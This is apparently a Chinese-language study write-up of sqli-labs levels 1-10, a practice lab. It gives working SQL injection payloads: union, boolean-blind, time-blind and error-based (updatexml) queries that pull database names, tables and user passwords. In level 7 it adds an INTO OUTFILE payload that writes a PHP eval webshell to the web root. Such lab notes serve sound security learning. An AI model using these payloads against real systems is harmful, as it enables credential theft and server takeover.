­

sqli-labs通關—-1~10

最近感覺自己sql注入有點生疏了,想來複習一下,做個記錄。

第一關

1.嘗試報錯我們在1之後加上『,根據回饋資訊1』後面多了一個『所以我們想辦法閉合用 ‘or 1=1 –+。注意這裡#沒作用

2.接下來我們進行Order by 對前面的數據進行排序

id=1』 order by 3 --+

我們用order by 3 –+發現數據回顯正常,但是我們發現用order by 4 –+數據回顯不正常。 因此數據有三列。然後我們用使用union select 1,2,3聯合查詢語句查看頁面是否有顯示位。注意要將id=「1」改為任意一個不存在的id,因為id存在會爆出結果,所以要屏蔽掉



在這裡我們補充一下
1)什麼是顯示位:
我們在進行手工SQL注入的時候會用到ORDER BY 查詢列數,然後通過UNION SELECT爆出在網頁中的顯示位。這個顯示位指的是網頁中能夠顯示數據的位置。
舉例來說,比如我們通過ORDER BY命令知道了表的列數為11。然後再使用UNION SELECT 1,2,3…,11 from table,網頁中顯示了資訊8,那麼說明網頁只能夠顯示第8列中資訊,不能顯示其他列的資訊。也可以理解為網頁只開放了8這個窗口,你想要查詢資料庫資訊就必須要通過這個窗口。所以如果我們想要知道某個屬性的值,比如admin,就要把admin屬性放到8的位置上,這樣就能通過第8列爆出admin的資訊
2)關於union查詢:
使用union聯合查詢的前提是必須要有顯示位,union可合併兩個或多個select語句的結果集,前提是兩個select必有相同列、且各列的數據類型也相同。當 id 的數據在資料庫中不存在時,(此時我們可以 id=-1,兩個 sql 語句進行聯合操作時,當前一個語句選擇的內容為空,我們這裡就將後面的語句的內容顯示出來)此處前台頁面返回了我們構造的 union 的數據。這裡還要注意一點的就是如果我們讓union之前的id=1,這時候會顯示id=1的資訊並不會回顯union之後的select資訊,但是如果我們是id=-1此時不會顯示id=1的資訊而會顯示union之後的資訊。
union注入條件
①.只有最後一個select子句允許有order by
②.只有最後一個select子句允許有limit
③.只要union連接的幾個查詢的欄位數一樣且列的數據類型轉換沒有問題,就可以查詢出結果
④.注入點頁面有回顯

3.接下來爆出資料庫

192.168.0.100/sqli-labs-master/Less-1/?id=-1』 union select 1,group_concat(schema_name),3 from information_schema.schemata–+

在這裡我們看一下兩種爆資料庫的區別:

//192.168.83.129/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database()--+ 
//192.168.83.129/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+ 

第一這是爆出當前的資料庫,而第二個爆出的是所有的資料庫。在使用了GROUP_CONCAT後,會將所有的數據合併在一起,limit是沒有任何效果的。我們查看第一次報錯:

可以看出在查詢語句中出現了limit限制,因此我們在第二種語句爆出資料庫的時候並不會爆出所有的資料庫,所以我們用group_concat…
4.接下來我們爆出表名字:

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+


5.爆出欄位名字

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+


6.爆出欄位

/?id=-1' union select 1,username,password from users where id=2 --+

第二關

變成數字型了其他一樣

第三關

通過報錯發現輸入被(”)包圍之前的是被”包圍,所以將’換成’)即可

看列數

查表

查欄位

查欄位內容

第四關

是輸入被 (“”)包圍,將’替換為(“”)就行,其他一樣

第五關

打開發現只有一個you are in….. 將id改為一個不存在的數值就消失,可以判斷是盲注,加單引號就報錯,所以有sql注入,
這裡可以用 left(),substr(),mid(),ord()等函數
這裡可以輸入語句然後通過回顯來判斷是否為真,來一個個猜
這裡我們使用一個這裡substr函數,先了解什麼是substr函數
Select substr(database(),1,1);
意思是使用取出資料庫名稱的第一個字元一次取出一個,由於mysql對大小寫不敏感,用這個函數就可以區別大小寫。
那我們如何知道要猜的名稱長度,這裡再用一個函數,length獲得長度,但是基於boolean函數的只能返回真假所以
Length(database())>8,通過這種方式來猜

先判斷要猜解的資料庫或者用戶名的長度
比如用戶名長度
url?id=1' and length(user())<15 %23 url?id=1' and length(user())=15 %23 url?id=1' and length(user())>15 %23
判斷資料庫名長度

測試payload

//192.168.0.100/sql/less-5/?id=1' and ascii(substr(database(),1,1))>113--+

判斷資料庫名第一個字元的ascii碼大於113,這裡不必一個個猜,可以用二分法來判斷

就這樣一猜,最後得到資料庫名security
之後猜表名

//192.168.0.100/sql/less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<113--+

獲取當前資料庫第一個表的表名第一個字元的ascii碼小於113,修改limit x,1和substr中的位數限定數字

之後爆列表,一樣的步驟將查表名換成查列名

//192.168.0.100/sql/less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<113--+


這樣一步步測試獲取列名
然後還是一樣的爆出內容

//192.168.0.100/sql/less-5/?id=1' and ascii(substr((select password from users limit 0,1),1,1))<113--+



這裡也可以用報錯注入,簡單來說就是根據報錯的資訊來獲得想要的資訊。
基於updatexml()

id=1' and updatexml(1,version(),0)--+

updataxml(是mysql對xml文檔函數進行出巡和修改的Xpath函數)
函數有三個參數第一個數指定xml文檔表的欄位名稱,第二個是指定要替換的位置,第三個是新的值,但這三個值都是錯誤的。
第一個是不存在的,最後一個0因為前面的是不存在的所以替換也是沒有意義的。關鍵是中間的數值,中間的數值也可以用表達式的形式,函數會把這個表達式執行了然後以報錯的形式返回出來。

發現沒有返回完整的版本號資訊,這裡因為我們沒有進行處理。
這裡我們對函數進行處理加入concat函數意思是將傳進去的參數組合成一個字元串列印出來,concat也可以執行表達式也就是將 0x7e和version()結果組合成一個字元串列印出來
kobe' and updatexml(1,concat(0x7e,version()),0)# kobe' and updatexml(1,concat(0x7e,database()),0)#
0x7e是~號的十六進位

id=1' and updatexml(1,concat(0x7e,database()),0)--+


獲取表名

and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)--+

報錯一次只能返回一行,通過limit一個個獲取表名。

之後思路一樣,繼續獲取列名,然後獲取內容,報錯注入還有很多種,比如基於floor(),基於extractvalue(),可以去了解一下。我就直接給截圖了。

第六關

一樣,只是將單引號換成了雙引號。

第七關

測試發現是字元型注入,找了’) “) ))之後才發現是’))來閉合

在這裡的顯示是Use oufile,oufile函數是mysql寫入文件的一種函數,經常被用來寫入webshell,同時mysql還有個讀取文件的函數load_file函數,但是使用之前都需要找到網站的絕對路徑。注意這兩個函數能否成功執行受到參數secure_file_priv的影響。

  • 其中當參數secure_file_priv為空時,對導入導出無限制
  • 當值為一個指定的目錄時,只能向指定的目錄導入導出
  • 當值被設置為NULL時,禁止導入導出功能
    這個值可以通過命令select @@secure_file_priv查詢。由於這個參數不能動態更改,只能在mysql的配置文件中進行修改,然後重啟生效。
    文件寫入使用into outfile函數:
    使用辦法如下:
union select 1,"<?php @eval($_GET[x]);?>",3,4,5 into outfile 'C:/Inetpub/wwwroot/cc.php'

我們可以在之前的關卡使用@@datadir或者查看資料庫絕對路徑

union select 1,2,"<?php @eval($_GET[x]);?>" into outfile 'C:\phpStudy\WWW'


注意這裡只能用雙反斜杠//如果只用一個反斜杠會出問題,上傳成功的cb.php文件內容。

之後就可以用菜刀來連接,然後順藤摸瓜找到資料庫賬戶密碼。

第八關

測試了一下發現不會報錯,也不能回顯什麼,只有you are in 和空白,所以應該是盲注,試了下時間和布爾盲注都可以,基於時間盲注和布爾原理差不多主要就是根據頁面延遲顯示的時間來判斷真假,用第五關的布爾盲注就可以。
這裡簡單測試下盲注,輸入

?id=1' and length(database())>5--+


將>號掉個方向看結果有沒有變化,來判斷布爾盲注有沒有用,後面就繼續猜表名,列名,然後內容。

第九關

布爾盲注不行了,這關是時間盲注。先測試

?id=1 and sleep(5)--+


發現明顯延遲,證明是時間盲注,然後就可以構造我們的payload

?id=1' and if(substr(database(),1,1)=『s』,sleep(5),null)--+

通過一個if語句讓資料庫名稱的第一個字元與e進行比較,如果一樣就會暫停五秒,如果不等於就為假不暫停。
然後就慢慢進行嘗試
爆表名:

//192.168.0.101/sql/Less-9/?id=1' and  if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1) --+

爆列名:

//192.168.0.101/sql/Less-9/?id=1' and  if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)>'e',sleep(5),1) --+

爆內容:

//192.168.0.101/sql/Less-9/?id=1' and  If(ascii(substr((select password from users limit 0,1),1,1))<101,sleep(5),1) --+

第十關

也是時間盲注,就是把單引號換成雙引號
爆內容:

//192.168.0.101/sql/Less-10/?id=1" and  If(ascii(substr((select password from users limit 0,1),1,1))<101,sleep(5),1) --+

Tags: